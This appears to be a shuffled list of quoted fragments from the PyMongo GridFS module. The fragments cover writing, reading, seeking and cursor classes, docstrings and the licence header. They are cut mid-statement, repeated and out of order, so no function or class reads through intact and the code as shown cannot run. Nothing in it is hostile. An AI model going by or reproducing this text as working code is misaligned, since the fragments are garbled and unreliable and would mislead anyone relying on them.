iterator over all of this file's data. The iterator", "Spec <http://dochub.mongodb.org/core/gridfsspec>`_ may be passed as keyword arguments. Any additional", "def __flush_buffer(self): \"\"\"Flush the buffer contents out to a chunk.", "self._closed: raise AttributeError(\"can only get %r on a closed file\"", ":Parameters: - `pos`: the position (or offset if using relative", "set as additional fields on the file document. Valid keyword", "the file. .. versionchanged:: 3.6 Added ``session`` parameter. .. versionchanged::", "is allowed. \"\"\" if not self._closed: self.__flush() object.__setattr__(self, \"_closed\", True)", "whence == _SEEK_END: new_pos = int(self.length) + pos else: raise", "isatty(self): return False def truncate(self, size=None): # See https://docs.python.org/3/library/io.html#io.IOBase.writable #", "self.__flush() object.__setattr__(self, \"_closed\", True) def read(self, size=-1): raise io.UnsupportedOperation('read') def", "in db.fs.files. # Store them to be sent to server", "file.\") name = _grid_in_property(\"filename\", \"Alias for `filename`.\") content_type = _grid_in_property(\"contentType\",", "to the file. Does not add seperators. \"\"\" for line", "_clear_entity_type_registry(collection) # Hold on to the base \"fs\" collection to", "[] if index_key not in index_keys: collection.create_index( index_key.items(), unique=unique, session=self._session)", "called.\") if not read_only and not closed_only: return property(getter, setter,", "= _grid_out_property(\"aliases\", \"List of aliases for this file.\") metadata =", "\"\"\"Reads a chunk at a time. If the current position", "cursor, similar to the normal :class:`~pymongo.cursor.Cursor`. Should not be called", "= data.read except AttributeError: # string if not isinstance(data, (str,", "arguments. Any additional keyword arguments will be set as additional", "{field_name: value}}) self._file[field_name] = value if read_only: docstring += \"\\n\\nThis", "from the file (less if there isn't enough data). The", "objects as the result of an arbitrary query against the", "for this file.\") upload_date = _grid_out_property(\"uploadDate\", \"Date that this file", ".. versionchanged:: 3.8 For better performance and to better follow", "value for this file.\") filename = _grid_out_property(\"filename\", \"Name of this", "file - ``\"contentType\"`` or ``\"content_type\"``: valid mime-type for the file", "closed file cannot be written any more. Calling :meth:`close` more", "`size` (optional): the maximum number of bytes to read \"\"\"", "when first needed. \"\"\" if not isinstance(root_collection, Collection): raise TypeError(\"root_collection", "Any additional keyword arguments will be set as additional fields", "once on CursorNotFound. We retry on CursorNotFound to maintain backwards", "file.\") md5 = _grid_out_property(\"md5\", \"MD5 of the contents of this", "EMPTY = b\"\" NEWLN = b\"\\n\" \"\"\"Default chunk size, in", "(str, bytes)): raise TypeError(\"can only write strings or file-like objects\")", "if `root_collection` is not an instance of :class:`~pymongo.collection.Collection`. Any of", ".. versionchanged:: 3.0 `root_collection` must use an acknowledged :attr:`~pymongo.collection.Collection.write_concern` \"\"\"", "len(to_write) == self.chunk_size: self.__flush_data(to_write) to_write = read(self.chunk_size) self._buffer.write(to_write) def writelines(self,", "is None: try: index_keys = [index_spec['key'] for index_spec in collection.list_indexes(session=self._session)]", "read occur more than 10 minutes apart (the server's default", "upload_date = _grid_out_property(\"uploadDate\", \"Date that this file was first uploaded.\")", "elif closed_only: docstring = \"%s\\n\\n%s\" % (docstring, \"This attribute is", ":attr:`encoding` attribute, `data` can also be a :class:`str` instance, which", "single cursor. Raises CorruptGridFile when encountering any truncated, missing, or", "to the database. \"\"\" try: self.__flush_buffer() # The GridFS spec", "return data.read(size) def readline(self, size=-1): \"\"\"Read one line or up", "self._raise_file_exists(self._id) def _raise_file_exists(self, file_id): \"\"\"Raise a FileExists exception for the", "def __init__(self, root_collection, session=None, **kwargs): \"\"\"Write a file to GridFS", "= None def seekable(self): return True def __iter__(self): \"\"\"Return an", "(self.__files, self.__file_id)) def __getattr__(self, name): self._ensure_file() if name in self._file:", "= self.__chunk_iter.next() chunk_data = chunk[\"data\"][self.__position % chunk_size:] if not chunk_data:", "doc=docstring) def _grid_out_property(field_name, docstring): \"\"\"Create a GridOut property.\"\"\" def getter(self):", "mime-type for the file - ``\"chunkSize\"`` or ``\"chunk_size\"``: size of", "file_id self.__buffer = EMPTY self.__chunk_iter = None self.__position = 0", "the next chunk and retry once on CursorNotFound. We retry", "file level options specified in the `GridFS Spec <http://dochub.mongodb.org/core/gridfsspec>`_ may", "False def __enter__(self): \"\"\"Makes it possible to use :class:`GridOut` files", "read(space) except: self.abort() raise self._buffer.write(to_write) if len(to_write) < space: return", "_grid_out_property(field_name, docstring): \"\"\"Create a GridOut property.\"\"\" def getter(self): self._ensure_file() #", "raise self._buffer.write(to_write) if len(to_write) < space: return # EOF or", "self def __exit__(self, exc_type, exc_val, exc_tb): \"\"\"Support for the context", "if self._next_chunk > 0: filter[\"n\"] = {\"$gte\": self._next_chunk} _disallow_transactions(self._session) self._cursor", "a file to GridFS Application developers should generally not need", "\"instance of Collection\") if not root_collection.write_concern.acknowledged: raise ConfigurationError('root_collection must use", "well with server's record allocations. DEFAULT_CHUNK_SIZE = 255 * 1024", "the file metadata from the server. Metadata is fetched when", "doc=docstring) return property(getter, doc=docstring) def _grid_out_property(field_name, docstring): \"\"\"Create a GridOut", "\"\"\"Create a GridOut property.\"\"\" def getter(self): self._ensure_file() # Protect against", "\"\"\"Class to write data to GridFS. \"\"\" def __init__(self, root_collection,", "closed(self): \"\"\"Is this file closed? \"\"\" return self._closed _id =", "versionchanged:: 3.6 Added ``session`` parameter. .. versionchanged:: 3.0 `root_collection` must", "instance like _buffer, or descriptors set on # the class", "doc=docstring) def _clear_entity_type_registry(entity, **kwargs): \"\"\"Clear the given database/collection object's type", "property.\"\"\" def getter(self): self._ensure_file() # Protect against PHP-237 if field_name", "only checks for extra chunks after reading the entire file.", "but found \" \"chunk with n=%d\" % (self._next_chunk, chunk[\"n\"])) if", "\"\"\" def __init__(self, collection, filter=None, skip=0, limit=0, no_cursor_timeout=False, sort=None, batch_size=0,", "def __init__(self, grid_out, chunks, session, next_chunk): self._id = grid_out._id self._chunk_size", "useful when serving files using a webserver that handles such", "of :class:`str`. Unicode data is only allowed if the file", "\"\"\"Class to read data out of GridFS. \"\"\" def __init__(self,", "Inc. # # Licensed under the Apache License, Version 2.0", "may be passed as keyword arguments. Any additional keyword arguments", "return self._file.get(field_name, None) docstring += \"\\n\\nThis attribute is read-only.\" return", "GridOut object from cursor. \"\"\" _disallow_transactions(self.session) # Work around \"super", "a single cursor to read all the chunks in the", "Collection from pymongo.cursor import Cursor from pymongo.errors import (ConfigurationError, CursorNotFound,", "DuplicateKeyError: self._raise_file_exists(self._id) def _raise_file_exists(self, file_id): \"\"\"Raise a FileExists exception for", "data): \"\"\"Write data to the file. There is no return", "self._file[\"_id\"], \"n\": self._chunk_number, \"data\": Binary(data)} try: self._chunks.insert_one(chunk, session=self._session) except DuplicateKeyError:", "file-like object, or an instance of :class:`str`. Unicode data is", "\"\"\" if self._cursor is None: self._create_cursor() try: return self._cursor.next() except", "collection super(GridOutCursor, self).__init__( collection.files, filter, skip=skip, limit=limit, no_cursor_timeout=no_cursor_timeout, sort=sort, batch_size=batch_size,", "= os.SEEK_SET _SEEK_CUR = os.SEEK_CUR _SEEK_END = os.SEEK_END # before", "to instantiate this class directly - instead see the methods", "be passed as keyword arguments. Any additional keyword arguments will", "- ``\"encoding\"``: encoding used for this file. Any :class:`str` that", "attached to this file.\") md5 = _grid_out_property(\"md5\", \"MD5 of the", "chunk #%d: expected chunk length to be %d but \"", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "bytes and store the rest. data.seek(size) self.__buffer = data.read() data.seek(0)", "readable(self): return True def readchunk(self): \"\"\"Reads a chunk at a", "\"\"\"Clear the given database/collection object's type registry.\"\"\" codecopts = entity.codec_options.with_options(type_registry=None)", "it will lead to __getattr__ on # __IOBase_closed which calls", "number of bytes to read .. versionchanged:: 3.8 This method", "file_id.\"\"\" raise FileExists(\"file with _id %r already exists\" % file_id)", "\"instance of Collection\") _disallow_transactions(session) root_collection = _clear_entity_type_registry(root_collection) super().__init__() self.__chunks =", "in \" \"order to write str\") read = io.BytesIO(data).read if", "length SHOULD be an Int64. self._file[\"length\"] = Int64(self._position) self._file[\"uploadDate\"] =", "Protect against PHP-237 if field_name == 'length': return self._file.get(field_name, 0)", "__getattr__(self, name): self._ensure_file() if name in self._file: return self._file[name] raise", "previous behavior was to only raise :class:`CorruptGridFile` on a missing", "size == 0: return EMPTY received = 0 data =", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "_SEEK_SET = 0 _SEEK_CUR = 1 _SEEK_END = 2 EMPTY", "same buffer and chunk iterator. if new_pos == self.__position: return", "return self.__position = new_pos self.__buffer = EMPTY if self.__chunk_iter: self.__chunk_iter.close()", "this file was uploaded.\", closed_only=True) md5 = _grid_in_property(\"md5\", \"MD5 of", "more. Calling :meth:`close` more than once is allowed. \"\"\" if", "of this file \" \"if an md5 sum was created.\")", "**kwargs) def _disallow_transactions(session): if session and session.in_transaction: raise InvalidOperation( 'GridFS", "from. :attr:`os.SEEK_SET` (``0``) for absolute file positioning, :attr:`os.SEEK_CUR` (``1``) to", "def __iter__(self): return self def _create_cursor(self): filter = {\"files_id\": self._id}", "empty GridOutCursor for information to be copied into. \"\"\" return", "'size' bytes and store the rest. data.seek(size) self.__buffer = data.read()", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "int(grid_out.chunk_size) self._length = int(grid_out.length) self._chunks = chunks self._session = session", "self.readchunk() pos = chunk_data.find(NEWLN, 0, size) if pos != -1:", "value if read_only: docstring += \"\\n\\nThis attribute is read-only.\" elif", "a power of 2, to work well with server's record", "as keyword arguments. Any additional keyword arguments will be set", "self._buffer.write(to_write) def writelines(self, sequence): \"\"\"Write a sequence of strings to", "this file.\") chunk_size = _grid_out_property(\"chunkSize\", \"Chunk size for this file.\")", "file (less if there isn't enough data). The bytes are", "maximum number of bytes to read \"\"\" remainder = int(self.length)", "except OperationFailure: index_keys = [] if index_key not in index_keys:", "The iterator now iterates over *lines* in the file, instead", ":meth:`close` method is called. Raises :class:`ValueError` if this file is", "do I/O in __del__ since it can lead to a", "with length %d\" % ( chunk[\"n\"], expected_length, len(chunk[\"data\"]))) self._next_chunk +=", "object.__setattr__(self, \"_closed\", True) @property def closed(self): \"\"\"Is this file closed?", "if isinstance(data, str): try: data = data.encode(self.encoding) except AttributeError: raise", "in self._file: return self._file[name] raise AttributeError(\"GridOut object has no attribute", "= data.encode(self.encoding) except AttributeError: raise TypeError(\"must specify an encoding for", "only raise :class:`CorruptGridFile` on a missing chunk. .. versionchanged:: 4.0", "def __getattr__(self, name): if name in self._file: return self._file[name] raise", "a string of bytes or a file-like object (implementing :meth:`read`).", "GridFS spec, :class:`GridOut` now uses a single cursor to read", "except StopIteration: if self._next_chunk >= self._num_chunks: raise raise CorruptGridFile(\"no chunk", "properties of this instance like _buffer, or descriptors set on", "\"\"\"Support for the context manager protocol. \"\"\" return self def", "of :class:`~pymongo.collection.Collection`. Any of the file level options specified in", "self._ensure_file() remainder = int(self.length) - self.__position if size < 0", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "chunks if they are empty. if len(chunk[\"data\"]): self.close() raise CorruptGridFile(", "CursorNotFound to maintain backwards compatibility in cases where two calls", "expected_length: self.close() raise CorruptGridFile( \"truncated chunk #%d: expected chunk length", "% self._next_chunk) if chunk[\"n\"] != self._next_chunk: self.close() raise CorruptGridFile( \"Missing", "chunks after reading the entire file. Previously, this method would", "%r\" % (self.__files, self.__file_id)) def __getattr__(self, name): self._ensure_file() if name", "seek relative to the current position, :attr:`os.SEEK_END` (``2``) to seek", "for this file.\", read_only=True) filename = _grid_in_property(\"filename\", \"Name of this", "file positioning, :attr:`os.SEEK_CUR` (``1``) to seek relative to the current", "instance of :class:`~pymongo.collection.Collection`. Any of the file level options specified", "limit=limit, no_cursor_timeout=no_cursor_timeout, sort=sort, batch_size=batch_size, session=session) def next(self): \"\"\"Get next GridOut", "IOError(22, \"Invalid value for `whence`\") if new_pos < 0: raise", "specific language governing permissions and # limitations under the License.", "remainder of the chunk is returned. \"\"\" received = len(self.__buffer)", "`root_collection.files` - `session` (optional): a :class:`~pymongo.client_session.ClientSession` to use for all", "a chunk. \"\"\" self.__ensure_indexes() if not data: return assert(len(data) <=", "_grid_out_property(\"chunkSize\", \"Chunk size for this file.\") upload_date = _grid_out_property(\"uploadDate\", \"Date", "< size: chunk_data = self.readchunk() received += len(chunk_data) data.write(chunk_data) #", "call. \"\"\" self._ensure_file() remainder = int(self.length) - self.__position if size", "size) if pos != -1: size = received + pos", "document from `root_collection.files` - `session` (optional): a :class:`~pymongo.client_session.ClientSession` to use", "no_cursor_timeout=False, sort=None, batch_size=0, session=None): \"\"\"Create a new cursor, similar to", "collection to create GridOut objects later. self.__root_collection = collection super(GridOutCursor,", "= [] if index_key not in index_keys: collection.create_index( index_key.items(), unique=unique,", "# Store them to be sent to server on close()", "break self.__position -= received - size # Return 'size' bytes", "to conform to the base class :py:class:`io.IOBase`. Use :meth:`GridOut.readchunk` to", "file_id) def close(self): \"\"\"Flush the file and close it. A", "parameter. .. versionchanged:: 3.6 Added ``session`` parameter. .. versionchanged:: 3.0", "_grid_in_property(\"uploadDate\", \"Date that this file was uploaded.\", closed_only=True) md5 =", "with server's record allocations. DEFAULT_CHUNK_SIZE = 255 * 1024 _C_INDEX", "is only allowed if the file has an :attr:`encoding` attribute.", "bytes)): raise TypeError(\"can only write strings or file-like objects\") if", "GridFS spec says length SHOULD be an Int64. self._file[\"length\"] =", "writable(self): return False def __enter__(self): \"\"\"Makes it possible to use", "GridOutCursor\") def remove_option(self, *args, **kwargs): raise NotImplementedError(\"Method does not exist", "< size: chunk_data = self.readchunk() pos = chunk_data.find(NEWLN, 0, size)", "to write data to GridFS. \"\"\" def __init__(self, root_collection, session=None,", "_F_INDEX = SON([(\"filename\", ASCENDING), (\"uploadDate\", ASCENDING)]) def _grid_in_property(field_name, docstring, read_only=False,", "more than 10 minutes apart (the server's default cursor timeout).", "to read data out of GridFS. \"\"\" def __init__(self, root_collection,", "value for `pos` - must be positive\") # Optimization, continue", "keyword arguments include: - ``\"_id\"``: unique ID for this file", "> remainder: size = remainder if size == 0: return", "# you may not use this file except in compliance", "= _grid_in_property(\"filename\", \"Alias for `filename`.\") content_type = _grid_in_property(\"contentType\", \"Mime-type for", "pos, whence=_SEEK_SET): \"\"\"Set the current position of this file. :Parameters:", "!= self._next_chunk: self.close() raise CorruptGridFile( \"Missing chunk: expected chunk #%d", "the rest. data.seek(size) self.__buffer = data.read() data.seek(0) return data.read(size) def", "if closed, send # them now. self._file[name] = value if", "objects\") if isinstance(data, str): try: data = data.encode(self.encoding) except AttributeError:", "from pymongo.cursor import Cursor from pymongo.errors import (ConfigurationError, CursorNotFound, DuplicateKeyError,", "= 255 * 1024 _C_INDEX = SON([(\"files_id\", ASCENDING), (\"n\", ASCENDING)])", "\"This attribute is read-only and \" \"can only be read", "part of the document in db.fs.files. # Store them to", "kb) - ``\"encoding\"``: encoding used for this file. Any :class:`str`", "Slightly under a power of 2, to work well with", "needed. \"\"\" if not isinstance(root_collection, Collection): raise TypeError(\"root_collection must be", "None def seekable(self): return True def __iter__(self): \"\"\"Return an iterator", "if self._buffer.tell() > 0: # Make sure to flush only", "has to raise. raise io.UnsupportedOperation('truncate') # Override IOBase.__del__ otherwise it", "< self._num_chunks - 1: return self._chunk_size return self._length - (self._chunk_size", "does not support multi-document transactions') class GridIn(object): \"\"\"Class to write", "def seekable(self): return True def __iter__(self): \"\"\"Return an iterator over", "later. self.__root_collection = collection super(GridOutCursor, self).__init__( collection.files, filter, skip=skip, limit=limit,", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "* 1024 _C_INDEX = SON([(\"files_id\", ASCENDING), (\"n\", ASCENDING)]) _F_INDEX =", "_ensure_file(self): if not self._file: _disallow_transactions(self._session) self._file = self.__files.find_one({\"_id\": self.__file_id}, session=self._session)", "AttributeError(\"GridOut object has no attribute '%s'\" % name) def readable(self):", "= self.__chunk_iter.next() return bytes(chunk[\"data\"]) __next__ = next class GridOutCursor(Cursor): \"\"\"A", "_grid_in_property(\"filename\", \"Name of this file.\") name = _grid_in_property(\"filename\", \"Alias for", "session=None): \"\"\"Create a new cursor, similar to the normal :class:`~pymongo.cursor.Cursor`.", "(optional): value of ``\"_id\"`` for the file to read -", "expected_length, len(chunk[\"data\"]))) self._next_chunk += 1 return chunk __next__ = next", "None self.__position = 0 self._file = file_document self._session = session", "exc_tb): \"\"\"Support for the context manager protocol. Close the file", "raise CorruptGridFile( \"truncated chunk #%d: expected chunk length to be", "root_collection.files self.__file_id = file_id self.__buffer = EMPTY self.__chunk_iter = None", "1 return chunk __next__ = next def close(self): if self._cursor:", "try: chunk = self._next_with_retry() except StopIteration: if self._next_chunk >= self._num_chunks:", "self._chunk_size) self._cursor = None def expected_chunk_length(self, chunk_n): if chunk_n <", ".. versionchanged:: 4.0 Removed the `disable_md5` parameter. See :ref:`removed-gridfs-checksum` for", "is not iterable\" issue in Python 3.x next_file = super(GridOutCursor,", "EMPTY received = 0 data = io.BytesIO() while received <", "until the :meth:`close` method is called. Raises :class:`ValueError` if this", "def next(self): try: chunk = self._next_with_retry() except StopIteration: if self._next_chunk", "file-like read = data.read except AttributeError: # string if not", "We retry on CursorNotFound to maintain backwards compatibility in cases", "under the Apache License, Version 2.0 (the \"License\"); # you", "chunk is returned. \"\"\" received = len(self.__buffer) chunk_data = EMPTY", "data is only allowed if the file has an :attr:`encoding`", "bson.son import SON from bson.binary import Binary from bson.objectid import", "SON([(\"files_id\", ASCENDING), (\"n\", ASCENDING)]) _F_INDEX = SON([(\"filename\", ASCENDING), (\"uploadDate\", ASCENDING)])", "create GridOut objects later. self.__root_collection = collection super(GridOutCursor, self).__init__( collection.files,", "can lead to a deadlock. def __del__(self): pass class _GridOutChunkIterator(object):", "`session` (optional): a :class:`~pymongo.client_session.ClientSession` to use for all commands -", "if self._next_chunk >= self._num_chunks: raise raise CorruptGridFile(\"no chunk #%d\" %", "bytes or file-like object to be written to the file", "= super(GridOutCursor, self).next() return GridOut(self.__root_collection, file_document=next_file, session=self.session) __next__ = next", "if pos != -1: break self.__position -= received - size", "Due to buffering, the data may not actually be written", "self._next_chunk = next_chunk self._num_chunks = math.ceil(float(self._length) / self._chunk_size) self._cursor =", "if present. Raises :class:`TypeError` if `root_collection` is not an instance", "\"Missing chunk: expected chunk #%d but found \" \"chunk with", "\"\"\"Support for the context manager protocol. Close the file and", "self._coll.files.delete_one( {\"_id\": self._file['_id']}, session=self._session) object.__setattr__(self, \"_closed\", True) @property def closed(self):", "def __init__(self, collection, filter=None, skip=0, limit=0, no_cursor_timeout=False, sort=None, batch_size=0, session=None):", "Binary from bson.objectid import ObjectId from pymongo import ASCENDING from", "ConfigurationError('root_collection must use ' 'acknowledged write_concern') _disallow_transactions(session) # Handle alternative", "self._create_cursor() try: return self._cursor.next() except CursorNotFound: self._cursor.close() self._create_cursor() return self._cursor.next()", "use for all commands - `**kwargs` (optional): file level options", "of :class:`~pymongo.collection.Collection`. :Parameters: - `root_collection`: root collection to read from", "'%s'\" % name) def __setattr__(self, name, value): # For properties", "Python 3.x next_file = super(GridOutCursor, self).next() return GridOut(self.__root_collection, file_document=next_file, session=self.session)", "the normal :class:`~pymongo.cursor.Cursor`. Should not be called directly by application", "this file.\", read_only=True) upload_date = _grid_in_property(\"uploadDate\", \"Date that this file", "object to be written to the file \"\"\" if self._closed:", "only write strings or file-like objects\") if isinstance(data, str): try:", "name in self.__class__.__dict__: object.__setattr__(self, name, value) else: # All other", ":class:`ValueError` if this file is already closed. Raises :class:`TypeError` if", "\"\"\" self.close() return False def fileno(self): raise io.UnsupportedOperation('fileno') def flush(self):", "int(self.length) + pos else: raise IOError(22, \"Invalid value for `whence`\")", "sequence): \"\"\"Write a sequence of strings to the file. Does", "+ self.__position) / chunk_size) if self.__chunk_iter is None: self.__chunk_iter =", "file is already closed. Raises :class:`TypeError` if `data` is not", "\"_chunks\", coll.chunks) object.__setattr__(self, \"_file\", kwargs) object.__setattr__(self, \"_buffer\", io.BytesIO()) object.__setattr__(self, \"_position\",", "1)], session=self._session) def _next_with_retry(self): \"\"\"Return the next chunk and retry", "an acknowledged :attr:`~pymongo.collection.Collection.write_concern` \"\"\" if not isinstance(root_collection, Collection): raise TypeError(\"root_collection", "flush only when _buffer is complete space = self.chunk_size -", "aliases for this file.\") metadata = _grid_out_property(\"metadata\", \"Metadata attached to", "NEWLN = b\"\\n\" \"\"\"Default chunk size, in bytes.\"\"\" # Slightly", "of aliases for this file.\") metadata = _grid_out_property(\"metadata\", \"Metadata attached", "allowed. \"\"\" if not self._closed: self.__flush() object.__setattr__(self, \"_closed\", True) def", "contents out to a chunk. \"\"\" self.__flush_data(self._buffer.getvalue()) self._buffer.close() self._buffer =", "versionchanged:: 3.0 Creating a GridOut does not immediately retrieve the", "+= \"\\n\\nThis attribute is read-only.\" elif closed_only: docstring = \"%s\\n\\n%s\"", "= 0 data = io.BytesIO() while received < size: chunk_data", "for file in \" \"order to write str\") read =", "class like filename, use regular __setattr__ if name in self.__dict__", "Close the file and allow exceptions to propagate. \"\"\" self.close()", "ID for this file (default: :class:`~bson.objectid.ObjectId`) - this ``\"_id\"`` must", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "= self.chunk_size - self._buffer.tell() if space: try: to_write = read(space)", "\"chunk_size\" in kwargs: kwargs[\"chunkSize\"] = kwargs.pop(\"chunk_size\") coll = _clear_entity_type_registry( root_collection,", "commands - `**kwargs` (optional): file level options (see above) ..", "pos = chunk_data.find(NEWLN, 0, size) if pos != -1: size", "to maintain backwards compatibility in cases where two calls to", "[index_spec['key'] for index_spec in collection.list_indexes(session=self._session)] except OperationFailure: index_keys = []", "used for another file - ``\"filename\"``: human name for the", "self.__position = 0 self._file = file_document self._session = session _id", "not closed_only: return property(getter, setter, doc=docstring) return property(getter, doc=docstring) def", "position (or offset if using relative positioning) to seek to", "The MongoDB documentation on `cursors <https://dochub.mongodb.org/core/cursors>`_. \"\"\" _disallow_transactions(session) collection =", "metadata from the server. Metadata is fetched when first needed.", "\"\"\"Creates an empty GridOutCursor for information to be copied into.", "which calls _ensure_file and potentially performs I/O. # We cannot", "the file has an :attr:`encoding` attribute. :Parameters: - `data`: string", "\"\"\" def __init__(self, root_collection, session=None, **kwargs): \"\"\"Write a file to", "`root_collection` is not an instance of :class:`~pymongo.collection.Collection`. Any of the", "chunk_data = chunk[\"data\"][self.__position % chunk_size:] if not chunk_data: raise CorruptGridFile(\"truncated", "Added the `disable_md5` parameter. .. versionchanged:: 3.6 Added ``session`` parameter.", "value): if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {field_name: value}}) self._file[field_name] =", "chunk and retry once on CursorNotFound. We retry on CursorNotFound", "file from GridFS Application developers should generally not need to", "self._session, chunk_number) chunk = self.__chunk_iter.next() chunk_data = chunk[\"data\"][self.__position % chunk_size:]", "the current position of this file. \"\"\" return self.__position def", "\"\"\" _disallow_transactions(self.session) # Work around \"super is not iterable\" issue", "docstring += \"\\n\\nThis attribute is read-only.\" elif closed_only: docstring =", "\"super is not iterable\" issue in Python 3.x next_file =", "file has an :attr:`encoding` attribute, `data` can also be a", "def _clear_entity_type_registry(entity, **kwargs): \"\"\"Clear the given database/collection object's type registry.\"\"\"", "object's type registry.\"\"\" codecopts = entity.codec_options.with_options(type_registry=None) return entity.with_options(codec_options=codecopts, **kwargs) def", "next(self): \"\"\"Get next GridOut object from cursor. \"\"\" _disallow_transactions(self.session) #", "(``1``) to seek relative to the current position, :attr:`os.SEEK_END` (``2``)", "developers - see the :class:`~gridfs.GridFS` method :meth:`~gridfs.GridFS.find` instead. .. versionadded", "Raises CorruptGridFile when encountering any truncated, missing, or extra chunk", "(optional): a :class:`~pymongo.client_session.ClientSession` to use for all commands .. versionchanged::", "ValueError(\"cannot write to a closed file\") try: # file-like read", "except AttributeError: raise TypeError(\"must specify an encoding for file in", "def next(self): chunk = self.__chunk_iter.next() return bytes(chunk[\"data\"]) __next__ = next", "self.__chunk_iter = _GridOutChunkIterator(grid_out, chunks, session, 0) def __iter__(self): return self", "entity.with_options(codec_options=codecopts, **kwargs) def _disallow_transactions(session): if session and session.in_transaction: raise InvalidOperation(", "session=self._session) self._coll.files.delete_one( {\"_id\": self._file['_id']}, session=self._session) object.__setattr__(self, \"_closed\", True) @property def", "md5 = _grid_out_property(\"md5\", \"MD5 of the contents of this file", "try: self.__flush_buffer() # The GridFS spec says length SHOULD be", "self).next() return GridOut(self.__root_collection, file_document=next_file, session=self.session) __next__ = next def add_option(self,", "`size` (optional): the number of bytes to read .. versionchanged::", "False def write(self, data): \"\"\"Write data to the file. There", "over all of this file's data. The iterator will return", "- `session` (optional): a :class:`~pymongo.client_session.ClientSession` to use for all commands", "self._num_chunks - 1: return self._chunk_size return self._length - (self._chunk_size *", "each of the chunks, in bytes (default: 255 kb) -", "Detect extra chunks after reading the entire file. if size", "The GridFS spec says length SHOULD be an Int64. self._file[\"length\"]", "session, next_chunk): self._id = grid_out._id self._chunk_size = int(grid_out.chunk_size) self._length =", "os.SEEK_CUR _SEEK_END = os.SEEK_END # before 2.5 except AttributeError: _SEEK_SET", "the same buffer and chunk iterator. if new_pos == self.__position:", "= _grid_out_property(\"_id\", \"The ``'_id'`` value for this file.\") filename =", "abort(self): \"\"\"Remove all chunks/files that may have been uploaded and", "= _grid_out_property(\"chunkSize\", \"Chunk size for this file.\") upload_date = _grid_out_property(\"uploadDate\",", "= None class GridOutIterator(object): def __init__(self, grid_out, chunks, session): self.__chunk_iter", "to a closed file\") try: # file-like read = data.read", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "\"Mime-type for this file.\") length = _grid_in_property(\"length\", \"Length (in bytes)", "self._file[name] raise AttributeError(\"GridIn object has no attribute '%s'\" % name)", "next chunk and retry once on CursorNotFound. We retry on", ".. seealso:: The MongoDB documentation on `cursors <https://dochub.mongodb.org/core/cursors>`_. \"\"\" _disallow_transactions(session)", "to :class:`bytes`. :Parameters: - `root_collection`: root collection to write to", "truncate has to raise. raise io.UnsupportedOperation('truncate') # Override IOBase.__del__ otherwise", "the database until the :meth:`close` method is called. Raises :class:`ValueError`", "them now. self._file[name] = value if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\":", "file.\") name = _grid_out_property(\"filename\", \"Alias for `filename`.\") content_type = _grid_out_property(\"contentType\",", "next_file = super(GridOutCursor, self).next() return GridOut(self.__root_collection, file_document=next_file, session=self.session) __next__ =", "not self._closed: raise AttributeError(\"can only get %r on a closed", "instead of chunks, to conform to the base class :py:class:`io.IOBase`.", "_SEEK_CUR = 1 _SEEK_END = 2 EMPTY = b\"\" NEWLN", "to seek relative to the file's end. \"\"\" if whence", "- (self._chunk_size * (self._num_chunks - 1)) def __iter__(self): return self", "`root_collection` is not an instance of :class:`~pymongo.collection.Collection`. :Parameters: - `root_collection`:", "= next_chunk self._num_chunks = math.ceil(float(self._length) / self._chunk_size) self._cursor = None", ".. versionchanged:: 3.6 Added ``session`` parameter. .. versionchanged:: 3.0 `root_collection`", ".. versionchanged:: 3.8 The iterator now raises :class:`CorruptGridFile` when encountering", "return property(getter, setter, doc=docstring) return property(getter, doc=docstring) def _grid_out_property(field_name, docstring):", "= _grid_out_property(\"uploadDate\", \"Date that this file was first uploaded.\") aliases", "and retry once on CursorNotFound. We retry on CursorNotFound to", "Apache License, Version 2.0 (the \"License\"); # you may not", "!= -1: size = received + pos + 1 received", "StopIteration: if self._next_chunk >= self._num_chunks: raise raise CorruptGridFile(\"no chunk #%d\"", "either express or implied. # See the License for the", "self._cursor = None class GridOutIterator(object): def __init__(self, grid_out, chunks, session):", "__del__ since it can lead to a deadlock. def __del__(self):", "to seek from. :attr:`os.SEEK_SET` (``0``) for absolute file positioning, :attr:`os.SEEK_CUR`", "be specified, `file_document` will be given priority if present. Raises", "not exist for GridOutCursor\") def _clone_base(self, session): \"\"\"Creates an empty", "file. The previous behavior was to only raise :class:`CorruptGridFile` on", "Int64. self._file[\"length\"] = Int64(self._position) self._file[\"uploadDate\"] = datetime.datetime.utcnow() return self._coll.files.insert_one( self._file,", "around \"super is not iterable\" issue in Python 3.x next_file", "and to better follow the GridFS spec, :class:`GridOut` now uses", "as an instance of :class:`str` (:class:`bytes` in python 3). If", "GridOut property.\"\"\" def getter(self): self._ensure_file() # Protect against PHP-237 if", "position of this file. :Parameters: - `pos`: the position (or", "raise InvalidOperation( 'GridFS does not support multi-document transactions') class GridIn(object):", "is not an instance of :class:`~pymongo.collection.Collection`. :Parameters: - `root_collection`: root", "read from - `file_id` (optional): value of ``\"_id\"`` for the", "if `root_collection` is not an instance of :class:`~pymongo.collection.Collection`. :Parameters: -", "self._cursor.close() self._cursor = None class GridOutIterator(object): def __init__(self, grid_out, chunks,", "content_type = _grid_out_property(\"contentType\", \"Mime-type for this file.\") length = _grid_out_property(\"length\",", "= new_pos self.__buffer = EMPTY if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter =", "under a power of 2, to work well with server's", "\"\"\"Makes it possible to use :class:`GridOut` files with the context", "= self.readchunk() received += len(chunk_data) data.write(chunk_data) # Detect extra chunks", "name, value) else: # All other attributes are part of", "(``2``) to seek relative to the file's end. \"\"\" if", "property(getter, setter, doc=docstring) return property(getter, doc=docstring) def _grid_out_property(field_name, docstring): \"\"\"Create", "extra chunks after reading the entire file. if size ==", "2, to work well with server's record allocations. DEFAULT_CHUNK_SIZE =", "the server. Metadata is fetched when first needed. \"\"\" if", "\"Length (in bytes) of this file.\") chunk_size = _grid_out_property(\"chunkSize\", \"Chunk", "__iter__(self): return self def _create_cursor(self): filter = {\"files_id\": self._id} if", "instead see the methods provided by :class:`~gridfs.GridFS`. Either `file_id` or", "extra chunk in a file. The previous behavior was to", "file and close it. A 